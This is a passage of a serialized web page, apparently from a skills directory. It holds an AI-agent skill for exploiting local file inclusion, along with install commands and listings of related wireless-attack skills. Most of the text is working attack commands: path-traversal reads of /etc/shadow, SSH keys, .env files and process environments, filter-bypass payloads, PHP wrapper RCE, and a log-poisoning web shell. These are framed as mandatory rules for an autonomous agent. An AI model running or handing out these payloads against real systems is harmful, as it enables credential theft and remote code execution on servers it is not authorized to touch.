'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg'\n\n# Path in URL path segment\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F..%2f..%2f..%2fetc\u002Fpasswd'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffiles\u002F....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd'\n```\n\n## Server-Level Path Traversal (Nginx Alias Off-by-Slash)\n\nDistinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy \u002F static-asset \u002F admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending `\u002F`, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal.\n\n**Fingerprint** (any of these is enough to test):\n- `Server: nginx` response header\n- A path `\u002Fprefix` (no trailing slash) returns 301 redirecting to `\u002Fprefix\u002F` — canonical signature of `location \u002Fprefix` (no slash) with a separate `location \u002Fprefix\u002F` (with slash)\n- Static assets served under a path prefix (`\u002Fstatic`, `\u002Fassets`, `\u002Fimages`, `\u002Fadmin`, `\u002Ffiles`, `\u002Fuploads`)\n\n**Exploit pattern** — append `..\u002F` DIRECTLY after the prefix (no slash between):\n\n```bash\n# For each prefix discovered in recon (gobuster\u002Fffuf or 301-redirect probe):\nfor prefix in admin static assets images files uploads docs api; do\n  STATUS=$(curl -s -o \u002Ftmp\u002Falias_${prefix}.txt -w '%{http_code}' \"http:\u002F\u002F\u003CTARGET>\u002F${prefix}..\u002Fetc\u002Fpasswd\")\n  SIZE=$(wc -c \u003C \u002Ftmp\u002Falias_${prefix}.txt)\n  echo \"${prefix}: status=${STATUS} size=${SIZE}\"\n  grep -c 'root:' \u002Ftmp\u002Falias_${prefix}.txt\ndone\n\n# Then walk parents to find sensitive files near the alias root:\nPREFIX=\"admin\"   # the winning prefix from above\nfor target in etc\u002Fpasswd .env flag.txt flag config.php settings.py ..\u002F.env ..\u002Fflag.txt; do\n  curl -s \"http:\u002F\u002F\u003CTARGET>\u002F${PREFIX}..\u002F${target}\" | head -5\ndone\n```\n\n**Why it works**: when `location \u002Fprefix` lacks the trailing slash but `alias \u002Ftarget\u002F` has one, nginx strips the URI's literal `\u002Fprefix` portion and concatenates the rest with the alias target. Request `\u002Fprefix..\u002Ffoo` → nginx removes `\u002Fprefix` → leaves `..\u002Ffoo` → resolves against `\u002Ftarget\u002F` → `\u002Ftarget\u002F..\u002Ffoo` = parent-directory access.\n\n**Distinguishing from `root` directive**: only `alias` is affected. A `location \u002Fstatic { root \u002Fvar\u002Fwww\u002F; }` block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so `\u002Fstatic..\u002Fetc\u002Fpasswd` yields `\u002Fvar\u002Fwww\u002Fstatic..\u002Fetc\u002Fpasswd` (no traversal). The 301-redirect fingerprint is the cleanest way to tell them apart without reading the config.\n\n**Decision rule**: when LFI tag is in scope AND the server is nginx AND no PHP-parameter LFI is found, run the alias probe across EVERY discovered prefix before parameter fuzzing. The agent's pattern-completion failure mode is to recognize the nginx-alias concept but apply it only to one (often wrong) prefix — test all of them.\n\n## Credential\u002FSecret File Discovery\n```bash\n# Try all common sensitive file locations via path traversal\nfor f in \u002Fetc\u002Fpasswd \u002Fetc\u002Fshadow \u002Froot\u002F.ssh\u002Fid_rsa \\\n          \u002Fvar\u002Fwww\u002Fhtml\u002F.env \u002Fapp\u002F.env \u002Fapp\u002Fconfig.py \u002Fapp\u002Fsettings.py \\\n          \u002Fopt\u002Fapp\u002Fconfig.json \u002Fsrv\u002Fapp\u002F.env; do\n  echo \"=== $f ===\" && curl -s \"http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002F..$f\"\ndone\n\n# Also try reading from absolute path if misconfigured\nfor f in \u002F.env \u002Fapp\u002F.env \u002Fvar\u002Fwww\u002Fhtml\u002F.env \u002Fetc\u002Fpasswd; do\n  echo \"=== direct $f ===\" && curl -s \"http:\u002F\u002F\u003CTARGET>\u002Ffile?name=$f\"\ndone\n\n# Check environment variables (if \u002Fproc accessible)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron' | tr '\\0' '\\n' | grep -iE 'secret|key|token|pass|cred'\n\n# Check application config files for secrets\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fvar\u002Fwww\u002Fhtml\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\u002F..\u002F..\u002Fapp\u002F.env'\n```\n\n## Bypass Techniques\n```bash\n# If ..\u002F is stripped once (use ....\u002F\u002F which becomes ..\u002F after stripping)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd'\n\n# If path must start with expected directory\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=\u002Fvar\u002Fwww\u002Fhtml\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd'\n\n# Mixed encoding\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..%252f..%252f..%252fetc\u002Fpasswd'\n\n# Absolute path (misconfigured path join)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=\u002Fetc\u002Fpasswd'\n\n# Windows paths (if Windows target)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..\\..\\..\\..\\windows\\win.ini'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffile?name=..%5c..%5c..%5cwindows%5cwin.ini'\n```\n\n## Response Body Verification (MANDATORY for path-traversal hits)\n\nA 200 status code on a traversal request does NOT mean the file was read. Common false-success patterns:\n- Web server fallback: nginx\u002FApache serves index.html when the requested file is not in the alias root\n- Application catch-all: framework returns a default \"page not found\" template with 200 status\n- WAF response: returns boilerplate page with 200 instead of 403\n\n**MANDATORY verification before treating any traversal hit as success**:\n\n```bash\n# Save the suspect response\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\u003Ctraversal_path>\" -o \u002Ftmp\u002Fprobe.txt\nSIZE=$(wc -c \u003C \u002Ftmp\u002Fprobe.txt)\n\n# 1. Compare size to baseline (homepage \u002F 404 page)\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\" -o \u002Ftmp\u002Fbaseline.txt\nBASELINE=$(wc -c \u003C \u002Ftmp\u002Fbaseline.txt)\nif [ \"$SIZE\" = \"$BASELINE\" ]; then\n    echo \"FAIL: response size matches homepage — server is serving fallback, NOT the target file\"\nfi\n\n# 2. Grep for file-format signatures (depends on what file you're reading)\ngrep -E '^root:x:0:0|^[a-z_-]+:[*x!]:' \u002Ftmp\u002Fprobe.txt && echo \"PASS: looks like \u002Fetc\u002Fpasswd\"\ngrep -E '^\u003C\\?php|^#!\u002F' \u002Ftmp\u002Fprobe.txt && echo \"PASS: looks like a script source\"\ngrep -E '^Linux|^[0-9.]+ [0-9.]+' \u002Ftmp\u002Fprobe.txt && echo \"PASS: looks like \u002Fproc content\"\nfile \u002Ftmp\u002Fprobe.txt | grep -v 'HTML\\|empty' && echo \"PASS: file(1) detected non-HTML content\"\n\n# 3. Try a known-content control file BEFORE concluding the bypass works\n# \u002Fetc\u002Fhostname is short (1 line), absolutely not HTML\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\u003Ctraversal_prefix>etc\u002Fhostname\" -o \u002Ftmp\u002Fhostname.txt\nHOSTNAME_SIZE=$(wc -c \u003C \u002Ftmp\u002Fhostname.txt)\nif [ \"$HOSTNAME_SIZE\" -lt 100 ] && grep -qE '^[a-z0-9.-]+$' \u002Ftmp\u002Fhostname.txt; then\n    echo \"PASS: hostname read works — bypass confirmed, now retry target file\"\nfi\n```\n\n**Decision rule**: If suspect response size matches homepage\u002Fbaseline AND no file-format signature is present, the bypass is NOT working — pivot to a different technique (PHP wrappers, log poisoning, different traversal prefix). Do NOT iterate on the same path with different filenames; the path-validation layer is winning.\n\n**Anti-pattern**: getting a 200 with a body whose size matches the homepage on `\u002Fimages..\u002Fetc\u002Fpasswd` (or similar nginx alias bypass) and treating it as a hit. The body bytes are homepage HTML — the alias bypass was syntactic only, not content-bearing. With this verification rule, the size match is detected in one call and the agent pivots to wrapper techniques instead of iterating filenames.\n\n## PHP Wrappers (PHP LFI)\n```bash\n# Read source code via php:\u002F\u002Ffilter (base64-encoded output)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php' | base64 -d\n\n# RCE via php:\u002F\u002Finput (if allow_url_include=On)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=php:\u002F\u002Finput' -d '\u003C?php system(\"cat \u002F.env\"); ?>'\n\n# RCE via data:\u002F\u002F wrapper\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA\u002FPg=='\n# The base64 decodes to: \u003C?php system(\"id\"); ?> — replace with desired command\n\n# Expect wrapper\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=expect:\u002F\u002Fcat+\u002F.env'\n```\n\n## LFI to RCE via Log Poisoning\n```bash\n# 1. Poison Apache\u002FNginx access log with PHP code in User-Agent\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002F' -H 'User-Agent: \u003C?php system($_GET[\"cmd\"]); ?>'\n\n# 2. Include the log file to execute injected PHP\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=cat+\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log&cmd=cat+\u002F.env'\n\n# Alternative log paths\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fhttpd\u002Faccess_log&cmd=cat+\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Ffd\u002F1&cmd=cat+\u002F.env'\n```\n\n## LFI to RCE via \u002Fproc\n```bash\n# Read \u002Fproc\u002Fself\u002Fenviron for env variables\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron'\n\n# If environment is readable, poison it via headers\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron' \\\n  -H 'User-Agent: \u003C?php system(\"cat \u002F.env\"); ?>'\n```\n\n## Decision Tree\n```\nLFI identified?\n├── Can read \u002Fetc\u002Fpasswd via ..\u002F → Confirmed plain traversal\n│   ├── Try sensitive files directly → \u002F.env, \u002Fapp\u002F.env, \u002Fapp\u002Fconfig.py\n│   ├── Try env vars → \u002Fproc\u002Fself\u002Fenviron | grep -iE 'secret|key|token|pass'\n│   ├── PHP target → Try php:\u002F\u002Ffilter, php:\u002F\u002Finput, data:\u002F\u002F\n│   └── Try log poisoning → Inject via User-Agent, include log\n├── Traversal returns 200 but NO useful content (the \"protected\" pattern)\n│   ├── DO NOT iterate path encoding — content protection ≠ path filter\n│   ├── MANDATORY: Try PHP stream wrappers FIRST:\n│   │   ├── php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002Fconfig.php\n│   │   ├── php:\u002F\u002Ffilter\u002Fread=convert.base64-encode\u002Fresource=\u002Fapp\u002Fconfig.php (absolute)\n│   │   ├── php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=..\u002Fetc\u002Fshadow (encoding chain)\n│   │   └── data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA\u002FPg== (RCE if allow_url_include)\n│   ├── Then try log poisoning (Apache access.log) + include log path\n│   └── Then try expect:\u002F\u002Fid (if expect wrapper enabled)\n└── Blocked at path-validation layer (404 or rejection)\n    ├── Try encoding → URL-encode, double-encode, null byte\n    ├── Try ....\u002F\u002F → Survives single-pass stripping\n    └── Try absolute path → \u002Fetc\u002Fpasswd without ..\u002F\n```\n\n## Protected LFI Escalation Rule (MANDATORY)\n\nWhen a challenge contains \"protected\", \"patched\", \"hardened\", or similar in its name\u002Ftags AND traversal returns 200 with no useful content, the protection is at the PHP-include layer. The protection class determines the bypass class — wrappers ≠ universal solution.\n\n**Step 0 (MANDATORY before wrappers) — diagnose the protection class.**\n\nProbe in this exact order. The first probe that returns content reveals the protection type and pins the bypass.\n\n```bash\n# Probe A — single-pattern strip filter (`str_replace('..\u002F', '', $in)`)?\n# If only one pattern is stripped, `....\u002F\u002F` collapses to `..\u002F` after one removal pass.\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\" -o \u002Ftmp\u002Flfi_a.txt\ngrep -c 'root:' \u002Ftmp\u002Flfi_a.txt   # >=1 → Probe A wins; continue with path bypass\n\n# Probe A2 — sequential multi-pattern strip (`str_replace(['..\u002F', '.\u002F', '..\\\\', '.\\\\'], '', $in)`)?\n# When Probe A returns empty or \"Post not found\"-style blocked response, the filter is\n# likely an ARRAY of patterns applied SEQUENTIALLY (each pattern sees the residue of\n# the previous pattern's removal). `....\u002F\u002F` fails because pass-1 leaves `.\u002F` which\n# pass-2 catches. Use `.....\u002F\u002F\u002F` (5 dots + 3 slashes) — pass-1 removes `..\u002F` at offset 3\n# leaving `...\u002F\u002F`, pass-2 removes `.\u002F` at offset 2 leaving `..\u002F`, passes 3\u002F4 (backslash\n# variants) find nothing.\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=.....\u002F\u002F\u002F.....\u002F\u002F\u002F.....\u002F\u002F\u002Fetc\u002Fpasswd\" -o \u002Ftmp\u002Flfi_a2.txt\ngrep -c 'root:' \u002Ftmp\u002Flfi_a2.txt   # >=1 → Probe A2 wins; sequential filter confirmed\n\n# Probe B — null-byte \u002F PHP \u003C 5.3 truncation?\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\" -o \u002Ftmp\u002Flfi_b.txt\ngrep -c 'root:' \u002Ftmp\u002Flfi_b.txt   # >=1 → Probe B wins; bypass is %00 + extension append\n\n# Probe C — wrapper acceptance (file_exists() NOT a gate)?\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\" \\\n  -o \u002Ftmp\u002Flfi_c.txt\n[ -s \u002Ftmp\u002Flfi_c.txt ] && base64 -d \u002Ftmp\u002Flfi_c.txt 2>\u002Fdev\u002Fnull | head -3   # non-empty → Probe C wins; wrappers viable\n```\n\n**Branch by winner:**\n\n- **Probe A wins (single-pattern collapse)** — `....\u002F\u002F` strips to `..\u002F` per stripping pass. Target the flag DIRECTLY: `curl 'http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=....\u002F\u002F....\u002F\u002F....\u002F\u002F\u003CFLAG_FILE_GUESS>'` where `\u003CFLAG_FILE_GUESS>` comes from the benchmark skill if BENCHMARK_MODE=1, otherwise `\u002Fetc\u002Fpasswd` to confirm primitive then app-config files. Do NOT try wrappers — they will silently fail because `file_exists()` is the gate.\n- **Probe A2 wins (sequential array collapse)** — `.....\u002F\u002F\u002F` survives the cascading multi-pattern strip. Target the flag with the SAME depth as Probe A: `curl 'http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=.....\u002F\u002F\u002F.....\u002F\u002F\u002F.....\u002F\u002F\u002F\u003CFLAG_FILE_GUESS>'`. Count directories between the include base path and the target file; one `.....\u002F\u002F\u002F` per level. Wrappers will also silently fail under this filter.\n- **Probe B wins (null-byte)** — append `%00\u003Cexpected_ext>` (e.g., `%00.png`, `%00.html`) to any path. Works on PHP \u003C 5.3 with magic_quotes_gpc off.\n- **Probe C wins (wrappers accepted)** — proceed to the wrapper escalation list below.\n- **All probes return same blank response** — protection is at `realpath()` or `open_basedir`. ONLY then proceed to wrapper escalation; if wrappers also fail, pivot to log poisoning.\n\n**Wrapper escalation (only when Probe C wins or all probes blank):**\n\n**STEP W1 (MANDATORY — wrapper availability gate)**: Before ANY traversal-wrapper combo, confirm wrappers are accepted using a **known-good resource WITHOUT traversal**. Use the original whitelisted filename or `index.php`. A 200 response with a clean baseline (not the blocked \"no post\"\u002F\"not found\" template) and decodable base64 output proves wrappers work. If this baseline returns the SAME blocked response as the original request, wrappers are off at the PHP layer (`allow_url_fopen=Off` or filter strips `php:\u002F\u002F`) — **DO NOT iterate wrappers; jump to STEP W5 (log poisoning)**.\n\n```bash\n# STEP W1 — wrapper availability gate (no traversal)\n# CRITICAL: send the wrapper as a RAW query string. Never use --data-urlencode\n# for php:\u002F\u002F URLs — it percent-encodes `:` and `\u002F` into `%3A%2F%2F`, which the\n# filter blocks at the string-match layer before PHP even sees it, producing\n# a guaranteed false negative (\"wrappers blocked\" when wrappers actually work).\nWHITELISTED=\"\u003Cknown_good_filename.php>\"   # e.g. ScriptKiddie.php, index.php\ncurl -sS \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=${WHITELISTED}\" \\\n  -o \u002Ftmp\u002Fw1.txt\n[ -s \u002Ftmp\u002Fw1.txt ] && base64 -d \u002Ftmp\u002Fw1.txt 2>\u002Fdev\u002Fnull | head -3   # readable PHP\u002FHTML → wrappers OK\n\n# Wrong forms that produce false negatives:\n# curl ... --data-urlencode \"id=php:\u002F\u002Ffilter\u002F...\"          # encodes `:\u002F\u002F` → blocked\n# curl ... -G --data-urlencode \"id=php:\u002F\u002Ffilter\u002F...\"       # same\n# curl ... -d \"id=php%3A%2F%2Ffilter%2F...\"                # pre-encoded → same\n```\n\nIf decodable PHP\u002FHTML appears → wrappers OK → proceed to W2-W4. If output matches the blocked baseline byte-for-byte (`cmp \u002Ftmp\u002Fw1.txt \u002Ftmp\u002Fbaseline_blocked.txt`) → wrappers BLOCKED → skip W2-W4 and jump to W5.\n\n1. **STEP W2** — `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002Fconfig.php` (and other relative\u002Fabsolute target paths) — bypasses content filters by reading file as base64 stream\n2. **STEP W3** — `php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=...` — alternate encoding to defeat output sanitization\n3. **STEP W4** — Filter chains: `php:\u002F\u002Ffilter\u002Fread=convert.base64-encode|string.rot13\u002Fresource=...` and `data:\u002F\u002Ftext\u002Fplain;base64,\u003CPHP_PAYLOAD_B64>` (only if `allow_url_include=On`)\n4. **STEP W5 (MANDATORY when W1 fails OR W2-W4 do not yield flag) — log poisoning**. Wrapper-agnostic: survives `allow_url_fopen=Off`.\n   ```bash\n   # Poison Apache\u002FNginx access log via User-Agent injection\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\" -H 'User-Agent: \u003C?php system($_GET[\"c\"]); ?>'\n   # Include the log via LFI traversal — chain with whichever bypass won Probe A\u002FB\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=....\u002F\u002F....\u002F\u002F....\u002F\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&c=cat+\u002FFLAG.php\"\n   curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CPARAM>?\u003CKEY>=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log&c=id\"\n   # Also try: \u002Fvar\u002Flog\u002Fapache2\u002Ferror.log, \u002Fvar\u002Flog\u002Fhttpd\u002Faccess_log, \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n   ```\n5. **STEP W6** — session-file poisoning when log paths inaccessible: PHP serializes sessions to `\u002Fvar\u002Flib\u002Fphp\u002Fsessions\u002Fsess_\u003CPHPSESSID>`. Inject PHP into a session-stored field (username, search-history), then include the session file.\n\n**Critical pin**: If `post.php` (or equivalent) source shows `if (file_exists($file)) { include($file); }`, wrappers are dead by design — `file_exists()` returns false for `php:\u002F\u002F`, `data:\u002F\u002F`, `expect:\u002F\u002F` on default PHP. Step 0 Probe A or B must win, OR the bypass is a real-file path like log poisoning where the log file actually exists on disk.\n\n```bash\n# Wrapper escalation examples — replace \u003CTARGET_FILE> with the app's config\u002Fsource file\nTARGET_FILE=\"config.php\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002F$TARGET_FILE\" | base64 -d\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=php:\u002F\u002Ffilter\u002Fread=convert.base64-encode\u002Fresource=\u002Fapp\u002F$TARGET_FILE\" | base64 -d\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?id=php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=..\u002F$TARGET_FILE\" | tr 'A-Za-z' 'N-ZA-Mn-za-m'\n```\n\n**Pivot discipline**: After confirming traversal-syntax-works-no-content, the next move is wrappers — not more encoding variants on the same broken traversal. If wrappers also fail to return interpretable content, pivot to log poisoning. Encoding\u002FCVE iteration on a syntactically-working-but-content-blocked traversal does not change the underlying block.\n\n**Anti-pattern**: Spending the dispatch on path\u002Fencoding\u002FCVE variants after diagnosing content-protection, never trying wrappers. With this rule the wrapper is the 1st post-diagnosis attempt.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, lfi, path-traversal, file-inclusion, information-disclosure","execution","lfi, local file inclusion, path traversal, directory traversal, file read, php wrapper, log poisoning, file disclosure, information_disclosure, static resource, file download, include, require, file path, dot dot slash, ..\u002F, path manipulation, poison inclusion, deprecated, php filter, php input, source code read","T1190, T1005","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Flfi","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill lfi",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill lfi",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill lfi","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Flfi\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]